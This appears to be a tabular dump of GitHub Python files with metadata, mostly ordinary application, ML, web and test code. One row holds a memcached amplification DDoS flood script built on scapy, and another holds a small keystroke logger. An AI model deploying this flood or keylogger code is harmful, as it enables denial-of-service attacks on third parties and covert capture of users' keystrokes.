seq_id string | text string | repo_name string | sub_path string | file_name string | file_ext string | file_size_in_byte int64 | program_lang string | lang string | doc_type string | stars int64 | dataset string | pt string | api list |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
75264403945 | import socket
import pygame
# noinspection PyUnresolvedReferences,PyProtectedMember
from pygame._sdl2 import Window
from typing import Any
from _thread import start_new_thread
import winsound
from time import sleep
from json import loads, dumps, load
from pymsgbox import alert
class LimboKeysClient:
def __init__(... | quasar098/limbos32 | main.py | main.py | py | 4,638 | python | en | code | 10 | github-code | 36 | [
{
"api_name": "pygame.Surface",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "_thread.start_new_thread",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "socket.socket",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "socket.AF_INET"... |
20006327119 | import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.nn.utils.rnn import pad_sequence
from torch.nn.utils.rnn import pack_padded_sequence
from torch.nn.utils.rnn import pad_packed_sequence
from gensim.models.word2vec import Word2Vec
import torch... | Woffee/dlvp | automl/main.py | main.py | py | 18,654 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.dirname",
"line_number": 52,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 52,
"usage_type": "attribute"
},
{
"api_name": "os.path.abspath",
"line_number": 52,
"usage_type": "call"
},
{
"api_name": "torch.device",
"line... |
19593309895 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('carga', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='carga',
name='id_carga'... | wellicfaria/cargobr | carga/migrations/0002_auto_20150922_1258.py | 0002_auto_20150922_1258.py | py | 389 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.db.migrations.Migration",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "django.db.migrations",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "django.db.migrations.AlterField",
"line_number": 14,
"usage_type": "call"
},
{... |
30395658662 | from rest_framework import status
from rest_framework.decorators import api_view
from rest_framework.response import Response
from django.http import HttpResponse
from rest_framework.generics import ListAPIView
from django.db.models import Q
from posts.models import Post, PostCategory, PostOwner
from memberships.model... | siklerdaniiii/astral | posts/api/views.py | views.py | py | 5,074 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "posts.models.Post.objects.all",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "posts.models.Post.objects",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "posts.models.Post",
"line_number": 19,
"usage_type": "name"
},
{
"ap... |
37747156972 | from lxml import etree
import numpy as np
import re
class BhpDocumentParser:
isCPTRegistrationRequest = False
nsMap = {}
metadata = {}
cptMatrix = None
dissipationMatrices = None
def __init__(self, xmlTree):
self.xmlTree = xmlTree
self.generateNsMap()
self.generateMatr... | ZBoukich/brofiles | scripts/bhpdocumentparser.py | bhpdocumentparser.py | py | 6,683 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.matrix",
"line_number": 52,
"usage_type": "call"
},
{
"api_name": "numpy.float",
"line_number": 52,
"usage_type": "attribute"
},
{
"api_name": "lxml.etree.fromstring",
"line_number": 90,
"usage_type": "call"
},
{
"api_name": "lxml.etree",
... |
27068411013 | from fastapi import APIRouter, Body
from models.model import User, UserLogin
from auth.jwt_handler import signJWT
router = APIRouter(
tags = ["User Routes"]
)
users = []
@router.get("/")
def get():
return {"Hello": "Wob"}
@router.post("/user/signup")
def user_signup(user: User = Body(defaul... | Namikaze007/TodoFastapi | routes/users.py | users.py | py | 802 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "fastapi.APIRouter",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "models.model.User",
"line_number": 17,
"usage_type": "name"
},
{
"api_name": "fastapi.Body",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "auth.jwt_handler.sign... |
42778530183 | from unittest.mock import Mock, patch
import pytest
from redshift_connector.error import InterfaceError, OperationalError, ProgrammingError
from toucan_connectors.pagination import (
KnownSizeDatasetPaginationInfo,
OffsetLimitInfo,
PaginationInfo,
)
from toucan_connectors.redshift.redshift_database_connec... | ToucanToco/toucan-connectors | tests/redshift/test_redshift.py | test_redshift.py | py | 20,723 | python | en | code | 16 | github-code | 36 | [
{
"api_name": "toucan_connectors.redshift.redshift_database_connector.RedshiftConnector",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "toucan_connectors.redshift.redshift_database_connector.AuthenticationMethod.DB_CREDENTIALS",
"line_number": 27,
"usage_type": "attribute"
... |
39205903455 | import pytest
import yaml
import os
import json
def load_configuration(filename):
prod_config_file = filename
with open(prod_config_file) as input_file:
config_parameters = yaml.load(input_file, Loader=yaml.FullLoader)
return config_parameters
def load_model_performance(filename):
with open(fi... | jacordero/ESA-audio-sentiment-analysis | tests/test_cases/Threshold_test_cases/test_TTC_1a-Accuracy.py | test_TTC_1a-Accuracy.py | py | 812 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "yaml.load",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "yaml.FullLoader",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "json.load",
"line_number": 14,
"usage_type": "call"
}
] |
39587111591 | import os
import unittest
import dateutil.parser
from dropmunch import munch_data, munch_spec
iso8601_timestamp1 = '2007-10-01T13:47:12.345Z'
valid_datafile_name = 'DATAspecvalid_{0}.txt'.format(iso8601_timestamp1)
class DataFileProcessing(unittest.TestCase):
def setUp(self):
self.working_directory = os.... | zharben/dropmunch | dropmunch/test/test_munch_data.py | test_munch_data.py | py | 5,174 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "unittest.TestCase",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "os.getcwd",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "dropmunch.munch_data.MunchData",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "dropmu... |
40657801370 | import torch
import numpy as np
import torch.nn.functional as F
from models import GetModel
from datagen import DataPool
from WGRutils import WGREnv, WandBScatterMaxlinePlot
import os
import wandb
import argparse
from datetime import datetime
from termcolor import colored
EPS = 1e-8
def temperature_schedule(args, t... | betairylia/WorldGen-Voxel-DMGibbs | eval.py | eval.py | py | 5,086 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "wandb.init",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "torch.device",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "torch.cuda.is_available",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "torch.cuda",
"lin... |
71514466985 | import numpy as np
import matplotlib.pyplot as plt
x = np.loadtxt('test_accuracies')
plt.figure(figsize=(5.2, 3.1))
plt.errorbar(x[:, 0], x[:, 1:].mean(axis=1), yerr=np.std(x[:, 1:], axis=1, ddof=1), capsize=3, label='SVM accuracy on SNN output')
plt.axhline(y=95, color='orange', linestyle='--', label='SVM accuracy ... | colinshane/stdp-conv-speech | figures/accuracy.py | accuracy.py | py | 475 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.loadtxt",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.figure",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "matplotlib.pypl... |
27691178390 | # Import modules
import random
from scapy.all import IP, UDP, send, Raw
from colorama import Fore
# Load MEMCACHED servers list
with open("tools/L4/memcached_servers.txt", "r") as f:
memcached_servers = f.readlines()
# Payload
payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
def flood(target):... | LimerBoy/Impulse | tools/L4/memcached.py | memcached.py | py | 1,026 | python | en | code | 2,202 | github-code | 36 | [
{
"api_name": "random.choice",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "random.randint",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "scapy.all.IP",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "scapy.all.UDP",
"line_n... |
21188323810 | # Мне надоело постоянно менять номер версии в разных файлах, поэтому появился данный скрипт :)
import io
newver = input("Введите номер новой версии: ")
f = open("installer.iss", "rt")
buf = f.readlines()
f.close()
f = open("installer.iss", "wt")
for item in buf:
if item.startswith("#define MyAppVersion "):
print(... | student-proger/BellManager | changeVersion.py | changeVersion.py | py | 1,195 | python | ru | code | 0 | github-code | 36 | [
{
"api_name": "io.open",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "io.open",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "io.open",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "io.open",
"line_number": 34,
"usage_t... |
44306025103 | import click
from datetime import timedelta
from pathlib import Path
from typing import Iterable
# this library does not come with type stubs, so we tell mypy to ignore it
import pytimeparse # type: ignore
from urbasys import log_utils
from urbasys.urbackup import retention
BACKUP_ROOT_DIR = "/urbackup/mirror"
@... | urbas/urbasys | urbasys/urbackup/app.py | app.py | py | 2,012 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "urbasys.log_utils.setup_logging",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "urbasys.log_utils",
"line_number": 20,
"usage_type": "name"
},
{
"api_name": "click.group",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "click.o... |
34846400693 | from django.shortcuts import render, redirect
from django.contrib.auth.decorators import login_required
from django.db.models import CharField, Value, Q
from itertools import chain
from authentication.models import User
from website.models import Review, UserFollows, Ticket
from website import forms
@login_required... | TMee3/DA-PYTHON-9 | website/views.py | views.py | py | 8,215 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "website.models.UserFollows.objects.filter",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "website.models.UserFollows.objects",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "website.models.UserFollows",
"line_number": 19,
"usage_... |
8192772574 | # -*- utf-8 -*-
########################################
# PSF license aggrement for logmsg.py
# Developed by Ivan Rybko
# Logmsg
########################################
from singleton import Singleton
import logging
@Singleton
class Logmsg:
def __init__(self, name):
if isinstance(name, str):
... | irybko/pyclasses | logmsg.py | logmsg.py | py | 1,573 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "logging.getLogger",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "logging.DEBUG",
"line_number": 21,
"usage_type": "attribute"
},
{
"api_name": "logging.FileHandler",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "logging.DEBU... |
70816879145 | #!/usr/bin/env python
'''
./converter.py \
--model model.h5 \
--desc "Predicts either a phone is in the hands or in a pocket" \
--input_desc "Sensor samples (acc, gyro, mag, 50Hz)" \
--output_desc "1 - phone in the hands, 0 - phone in a pocket" \
--author "Danylo Kostyshyn" \
--license="MIT"
'''
from __future__... | danylokos/activity-demo-model | converter.py | converter.py | py | 1,593 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "keras.models.load_model",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "coremltools.converters.keras.convert",
"line_number": 34,
"usage_type": "call"
},
{
... |
70939042984 | import os
import numpy as np
import matplotlib.pyplot as plt
from config import *
from model import get_model
from data import get_single_test
def evaluate(test_num):
model = get_model(train=TRAIN_MODEL)
print("got model")
test = get_single_test(test_num)
print("got test")
num_clips = test.shape[... | Colprit/VideoAnomolyDetection | main.py | main.py | py | 1,321 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "model.get_model",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "data.get_single_test",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "numpy.zeros",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "numpy.zeros",
"l... |
18394788465 | from typing import List, Union
from openai.types.chat import ChatCompletionMessageParam, ChatCompletionContentPartParam
from imported_code_prompts import (
IMPORTED_CODE_BOOTSTRAP_SYSTEM_PROMPT,
IMPORTED_CODE_IONIC_TAILWIND_SYSTEM_PROMPT,
IMPORTED_CODE_REACT_TAILWIND_SYSTEM_PROMPT,
IMPORTED_CODE_TAILW... | abi/screenshot-to-code | backend/prompts.py | prompts.py | py | 3,553 | python | en | code | 15,739 | github-code | 36 | [
{
"api_name": "typing.Union",
"line_number": 31,
"usage_type": "name"
},
{
"api_name": "imported_code_prompts.IMPORTED_CODE_TAILWIND_SYSTEM_PROMPT",
"line_number": 33,
"usage_type": "name"
},
{
"api_name": "imported_code_prompts.IMPORTED_CODE_TAILWIND_SYSTEM_PROMPT",
"line_nu... |
74747977385 | #MORFOLOJİK OPERASYONLAR
import cv2
import matplotlib.pyplot as plt
import numpy as np
#
img = cv2.imread("img.png",0)
plt.figure(),plt.imshow(img , cmap = "gray"),plt.axis("off")
#EROZYON -ön plandaki nesnenin sınırlarını aşındırır
kernel = np.ones((3,3),dtype = np.uint8)
result = cv2.erode(img, ke... | tetroweb/opencv_lessons | lessons/chapter_9.py | chapter_9.py | py | 1,993 | python | tr | code | 0 | github-code | 36 | [
{
"api_name": "cv2.imread",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.figure",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "matplotlib.pyplot.... |
75111308265 | from django.db import models
from mptt.models import MPTTModel, TreeForeignKey
from accounts.models import User
class Category(MPTTModel):
name = models.CharField(max_length=100, verbose_name='Имя категории')
slug = models.SlugField(max_length=100, verbose_name='Ссылка')
parent = TreeForeignKey('self',
... | Maksat-developer/ProjectDjangoShool | cook/blog/models.py | models.py | py | 6,738 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "mptt.models.MPTTModel",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "django.db.models.CharField",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "django.db.models",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "django... |
31213617621 | # set FLASK_APP=app
# set FLASK_ENV=development
# flask run
from flask import Flask, render_template, request
import semsim_funcs
import semtag_funcs
import semnull_funcs
import semcluster_funcs
import textCoder_funcs
app = Flask(__name__)
@app.route('/')
def home():
return render_template('index.... | thomasgladwin/webapps | app.py | app.py | py | 6,804 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "flask.Flask",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "flask.render_template",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "flask.render_template",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "flask.request... |
6143716089 | import itertools
import math
from collections import defaultdict
import brownie
import pytest
from scripts.utils import pack_values
ZERO_ADDRESS = "0x0000000000000000000000000000000000000000"
@pytest.fixture(scope="module", autouse=True)
def registry(
Registry,
provider,
gauge_controller,
alice,
... | curvefi/curve-pool-registry | tests/local/unitary/Registry/test_remove_pool_lending.py | test_remove_pool_lending.py | py | 4,686 | python | en | code | 169 | github-code | 36 | [
{
"api_name": "scripts.utils.pack_values",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "scripts.utils.pack_values",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "pytest.fixture",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "py... |
6262380149 | import os,sys,re
import slide_window
import vcf_operating
import read_group
import read_dict
from multiprocessing import Pool
#https://github.com/mfumagalli/ngsPopGen/blob/9ee3a6d5e733c1e248e81bfc21514b0527da967b/scripts/getDxy.pl
def help():
print("python3 xx.py vcf two_group_list fasta_fai outfile window step")
... | ZJin2021/SCRIPT_ostrya | script/Population_Genetics/dxy.py | dxy.py | py | 3,460 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "sys.exit",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "multiprocessing.Pool",
"line_number": 40,
"usage_type": "call"
},
{
"api_name": "read_group.Read_group1",
"line_number": 78,
"usage_type": "call"
},
{
"api_name": "read_dict.read_f... |
14017937824 | import maya.cmds as cmds
from functools import partial
def rename_sl(*args):
new_name = cmds.textField('Rename', q = True, text =True)
items = cmds.ls(sl=True)
for item in items:
cmds.rename(item , new_name)
def replace_sl(*args):
name_to_replace = cmds.textField('RePlace_before', q = True, tex... | s-nako/MayaPythonTools | ModelingTools/name_change/rename_sl.py | rename_sl.py | py | 1,426 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "maya.cmds.textField",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "maya.cmds",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "maya.cmds.ls",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "maya.cmds",
"line_number"... |
72673433065 | import time
start_time = time.time()
from global_var import *
from demandSimulate import *
from oneStepOptimization_poly import *
from sklearn import preprocessing
from sklearn.linear_model import LinearRegression
from scipy.stats import qmc
def microgrid_poly2d():
# stock
alpha = 0.5; K0 = 0; sigma... | thihaa2019/WindEnergy | Aditya(Python)/microgrid_poly2d.py | microgrid_poly2d.py | py | 4,451 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "time.time",
"line_number": 2,
"usage_type": "call"
},
{
"api_name": "scipy.stats.qmc.Sobol",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "scipy.stats.qmc",
"line_number": 23,
"usage_type": "name"
},
{
"api_name": "sklearn.linear_model.L... |
23343506239 | """
NOMBRE: Maria del Carmen Hernandez Diaz
ACCOUNT: 1718110389
GROUP: TIC 51
DATE: 30-05-2020
DESCRIPTION: Creación de cookies con nombre, número de visitas, fecha, y hora del visitante.
En caso de que no haya nombre como respuesta del usuario se marcara como 'Anónimo'.
"""
import web # Libre... | CarmenKaplanB/awi40 | semana_3/mvc/controllers/visitas.py | visitas.py | py | 2,221 | python | es | code | 0 | github-code | 36 | [
{
"api_name": "web.cookies",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "datetime.datetime.now",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 22,
"usage_type": "attribute"
},
{
"api_name": "web.setcooki... |
31124460363 | import os
import torch
import numpy as np
from torch.utils.data import Dataset
import h5py
class DataSet(Dataset):
def __init__(self, transform, split='train'):
self.image_list = []
self.transform = transform
file_list_path = os.path.join('dataset', split + '.list')
with open(file_l... | yeshunlong/Reproduce | UA-MT/dataset.py | dataset.py | py | 2,746 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "torch.utils.data.Dataset",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "os.path.join",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "os.path.join",
... |
9366664262 | #coding=utf-8
import json
import queue
import random
import re
import time
import traceback
import urllib
import urllib.request
import uuid
import requests
import wipe_off_html_tag
from bs4 import BeautifulSoup
import data_storager
class ParentChild(object):
def __init__(self):
self.... | ChandlerBang/Movie-QA-System | jw/spider.py | spider.py | py | 17,068 | python | en | code | 58 | github-code | 36 | [
{
"api_name": "queue.Queue",
"line_number": 43,
"usage_type": "call"
},
{
"api_name": "uuid.uuid3",
"line_number": 50,
"usage_type": "call"
},
{
"api_name": "uuid.NAMESPACE_DNS",
"line_number": 50,
"usage_type": "attribute"
},
{
"api_name": "time.sleep",
"line... |
19270176336 | #!C:\Users\Bhavya Mulpuri\AppData\Local\Programs\Python\Python36-32\python.exe
import requests
from bs4 import BeautifulSoup
import cgi, cgitb
import csv
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt
import numpy as np
print("Content-Type:text/html\r\n\r\n")
cgitb.enable();
form = ... | bhavyamulpuri/DADV | Scrapping.py | Scrapping.py | py | 1,956 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "cgitb.enable",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "cgi.FieldStorage",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
"l... |
12814337666 | # 금광 / p375 / DP
# # 내가 푼 방법
from collections import deque
T = int(input())
dx = [-1,0,1] # 왼위, 왼, 왼아래
dy = [-1,-1,-1]
for i in range(T):
queue = deque()
n,m = map(int,input().split())
data = [[] for i in range(n)]
str = list(map(int,input().split()))
for i in range(n):
for j in range(m):... | Girin7716/PythonCoding | pythonBook/Problem Solving/Q31.py | Q31.py | py | 2,169 | python | ko | code | 1 | github-code | 36 | [
{
"api_name": "collections.deque",
"line_number": 11,
"usage_type": "call"
}
] |
71929274985 | from fastapi import FastAPI, HTTPException
from fastapi.middleware.cors import CORSMiddleware
from model import Todo
app = FastAPI()
from database import(
fetchOneTodo,
fetchAllTodos,
createTodo,
updateTodo,
removeTodo,
)
origins = ['http://localhost:3000', 'http://localhost:4000']
app.add_middl... | coronel08/farm-stack-todo | backend/main.py | main.py | py | 1,660 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "fastapi.FastAPI",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "fastapi.middleware.cors.CORSMiddleware",
"line_number": 18,
"usage_type": "argument"
},
{
"api_name": "database.fetchAllTodos",
"line_number": 32,
"usage_type": "call"
},
{
"... |
7075228208 | """Strava API key update.
:authors
JP at 17/04/20
"""
from google.cloud import firestore
import logging
import requests
import time
db = firestore.Client()
collection = db.collection('strava')
class RefreshTokenBadRequest(Exception):
"""Expection for an invalid request to Strava to get a new token."""
... | j-penson/strava-leaderboards | functions/strava_key/main.py | main.py | py | 1,886 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "google.cloud.firestore.Client",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "google.cloud.firestore",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "logging.info",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "tim... |
10773542334 | import sqlite3
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
import datetime
'''
This is a simple tool i made to create a plot graph with the data from the database. You can
manually enter the prefix's of the companys you want to look at in the prefix_list and it
will use all the data it c... | Barrenjoey/Company-Sentiment-Project | Graph.py | Graph.py | py | 4,618 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "datetime.datetime.today",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "datetime.timedelta",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "sql... |
21539613759 | from pynput import keyboard
# Defines a function for the keylogger
def keyPressed(key):
print(str(key))
with open("keyfile.text",'a') as logKey:
try:
char = key.char
logKey.write()
except:
print("Error getting char")
if __name__ == "__main__":... | Roscalion/cybersecuritykeylogger | keylogger.py | keylogger.py | py | 410 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pynput.keyboard.Listener",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "pynput.keyboard",
"line_number": 15,
"usage_type": "name"
}
] |
39467758886 | import errno
import sqlite3
import os
from mdde_stats.service.data import Benchmark
class LocalDataManager:
def __init__(self, data_dir: str):
"""
Constructor
:param data_dir: path to directory where database should be stored
"""
if data_dir is None:
raise Typ... | jcridev/mdde | stats-processor/src/mdde_stats/service/data/manager.py | manager.py | py | 3,347 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "os.path.abspath",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "os.makedirs",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "errno.EEXIST",
"line_num... |
22773409160 | # -*- coding:utf-8 -*-
"""
Pour éviter de surcharger de commandes le drone.
"""
from vector import Vector
class Queue (object):
"""
Permet de moduler le flux de commandes à donner au drone, en moyennant les vecteurs déplacement successifs sur plusieurs frames.
"""
def __init__(self, drone, cmd_max):... | micronoyau/NSA-Drone | queue.py | queue.py | py | 1,609 | python | fr | code | 0 | github-code | 36 | [
{
"api_name": "vector.Vector",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "vector.Vector",
"line_number": 48,
"usage_type": "call"
}
] |
32932643233 | from django.db import models
# from address.models import AddressField
from django import forms
# from django_google_maps import fields as map_fields
from Location.models import Address
from django.utils.html import mark_safe
from django.conf import settings
from django.db.models import Avg
from decimal import *
class... | chandra10207/food_delivery | restaurant/models.py | models.py | py | 2,868 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.forms.Form",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "django.forms",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "django.forms.ImageField",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "django.fo... |
70679148583 | import sys
import csv
import json
import time
import urllib.request
from urllib.error import HTTPError
from optparse import OptionParser
import argparse
def get_page(url, page, collection_handle=None):
full_url = url
if collection_handle:
full_url += '/collections/{}'.format(collection_handle)
full... | gilloglym/ShopifyWebScraper | shopify_scraper.py | shopify_scraper.py | py | 13,303 | python | en | code | 5 | github-code | 36 | [
{
"api_name": "urllib.request.request.Request",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "urllib.request.request",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_name": "urllib.request",
"line_number": 15,
"usage_type": "name"
},
{
"api_nam... |
74059837544 | import warnings
import configparser
from pathlib import Path
from typing import List, NamedTuple, Optional
FileConfiguration = NamedTuple(
"FileConfiguration",
[
("project", Optional[str]),
("remote", Optional[str]),
("server", Optional[str]),
("ignore", List[str]),
],
)
d... | facultyai/faculty-sync | faculty_sync/cli/config.py | config.py | py | 4,382 | python | en | code | 10 | github-code | 36 | [
{
"api_name": "typing.NamedTuple",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "typing.Optional",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "typing.Optional",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "typing.Optional",
... |
5054290299 | import os
import papermill as pm
def train_ct(dataset_name, hampel_window_len, num_sigmas):
input = "constant-threshold.ipynb"
output = "out/constant-threshold-" + dataset_name + ".ipynb"
pm.execute_notebook(input, output, parameters = dict(
dataset_name = dataset_name,
hampel_window_len = ... | williewheeler/time-series-demos | papermill/train-all.py | train-all.py | py | 744 | python | en | code | 18 | github-code | 36 | [
{
"api_name": "papermill.execute_notebook",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "os.path.exists",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "os.mkdir",
... |
21885227488 | """
Tests brewblox_ctl.commands.docker
"""
import pytest
from brewblox_ctl.commands import docker
from brewblox_ctl.testing import check_sudo, invoke
TESTED = docker.__name__
@pytest.fixture
def m_utils(mocker):
m = mocker.patch(TESTED + '.utils', autospec=True)
m.optsudo.return_value = 'SUDO '
return ... | BrewBlox/brewblox-ctl | test/commands/test_docker.py | test_docker.py | py | 2,291 | python | en | code | 3 | github-code | 36 | [
{
"api_name": "brewblox_ctl.commands.docker.__name__",
"line_number": 10,
"usage_type": "attribute"
},
{
"api_name": "brewblox_ctl.commands.docker",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "pytest.fixture",
"line_number": 13,
"usage_type": "attribute"
}... |
26264738548 | # import member
import datetime as dt
import random
from member import Member
import requests
import json
import pandas as pd
from pandas import json_normalize
from tkinter import *
import numpy as np
class KoreaHolidays:
def get_holidays(self):
today = dt.datetime.today().strftime("%Y%m%d")
tod... | intacka/friendshipRice | main.py | main.py | py | 16,078 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "datetime.datetime.today",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "datetime.datetime.today",
"line_number": 18,
"usage_type": "call"
},
{
"api_name":... |
826465711 | """
:Product: three_day_forecast.txt
:Issued: 2012 Dec 12 1235 UTC
# Prepared by the U.S. Dept. of Commerce, NOAA, Space Weather Prediction
Center
#
A. NOAA Geomagnetic Activity Observation and Forecast
The greatest observed 3 hr Kp over the past 24 hours was 1 (below NOAA
Scale levels).
The greatest expected 3 hr Kp ... | diacritica/spaceweather | misc/scripts/load3dayforecast.py | load3dayforecast.py | py | 6,924 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "requests.get",
"line_number": 69,
"usage_type": "call"
},
{
"api_name": "datetime.datetime.strptime",
"line_number": 72,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 72,
"usage_type": "attribute"
},
{
"api_name": "dateti... |
38834210088 | import hashlib
import os
import time
import jsonlines
import openai
import tiktoken
import json
import tqdm
import numpy as np
from numpy.linalg import norm
from pathlib import Path
from .utils import SaveUtils
from .ai_openai import OpenAI
class OpenAIEmbedding:
openAI = OpenAI()
def __init__(self):
p... | doum1004/diginomard-make-it-rain-blog | diginomard_toolkit/ai_openai_embed.py | ai_openai_embed.py | py | 8,260 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "ai_openai.OpenAI",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "ai_openai.OpenAI.getTokenUsage",
"line_number": 39,
"usage_type": "call"
},
{
"api_name": "ai_openai.OpenAI",
"line_number": 39,
"usage_type": "name"
},
{
"api_name": "time... |
15807172488 | # --------------------------------------------------------
# PYTHON PROGRAM
# Here is where we are going to define our set of...
# - Imports
# - Global Variables
# - Functions
# ...to achieve the functionality required.
# When executing > python 'this_file'.py in a terminal,
# the Python interpreter will load... | segunar/BIG_data_sample_code | Spark/Workspace/1_Spark_Core/6_Text_File_Examples/24_average_length_of_words.py | 24_average_length_of_words.py | py | 13,654 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.exists",
"line_number": 253,
